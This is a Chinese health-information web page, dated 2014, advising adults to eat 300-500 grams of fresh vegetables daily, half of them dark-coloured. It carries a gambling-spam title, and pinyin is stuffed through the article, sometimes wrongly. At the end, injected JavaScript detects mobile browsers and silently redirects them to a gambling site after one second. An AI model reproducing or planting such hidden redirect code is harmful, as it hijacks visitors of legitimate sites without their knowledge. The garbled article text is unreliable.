ag8老虎机

合理饮食(3)建议成人每天吃新鲜蔬菜300克~500克

  日期:2014-04-09   点击:7711

建议成人每天吃新鲜蔬菜300克~500克,最好深色蔬菜占一半。

科学依据:

蔬菜(cai)含水(shui)分多,能(neng)量低,富含植物化学物质,是提(ti)供(gong)微量营养素、膳食纤维和(he)天然(ran)抗氧(yang)化物的(de)重要(yao)来源。深色(se)蔬菜(cai)指深绿色(se)、红(hong)色(se)、桔红(hong)色(se)、紫红(hong)色(se)蔬菜(cai),富含胡萝卜素尤其(qi)β-胡萝卜素。多吃(chi)蔬菜(cai)对保持(chi)身体健(jian)康(kang),保持(chi)肠(chang)道正常功(gong)能(neng),提(ti)高(gao)(gao)免(mian)疫力(li),降(jiang)低患肥胖、糖尿病(bing)、高(gao)(gao)血压(ya)等慢性疾病(bing)风险(xian)具有重要(yao)作(zuo)用。

健康行为:

(1)每天尽量选(xuan)择多(duo)种(zhong)蔬(shu)菜搭配(pei)食用。

(2)尽量(liang)选(xuan)择(ze)新鲜和应季蔬(shu)菜。

(3)多摄入深色(se)(se)蔬(shu)菜(cai),使(shi)深色(se)(se)蔬(shu)菜(cai)占蔬(shu)菜(cai)量的一半(ban),深色(se)(se)蔬(shu)菜(cai)如菠菜(cai)、油菜(cai)、西兰花、韭菜(cai)、西红柿、胡萝卜、南瓜、红苋(xian)菜(cai)等。

(4)吃芋头、莲藕、山药等含淀粉较多的蔬菜(cai)时(shi),要适当减少主食(shi),避免(mian)能量摄入(ru)过(guo)多。

(5)少吃酱菜和腌菜。

(6)烹调(diao)蔬菜(cai)时应做到先洗(xi)后切(qie)、急火快炒、开汤(tang)下菜(cai)、炒好即食。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();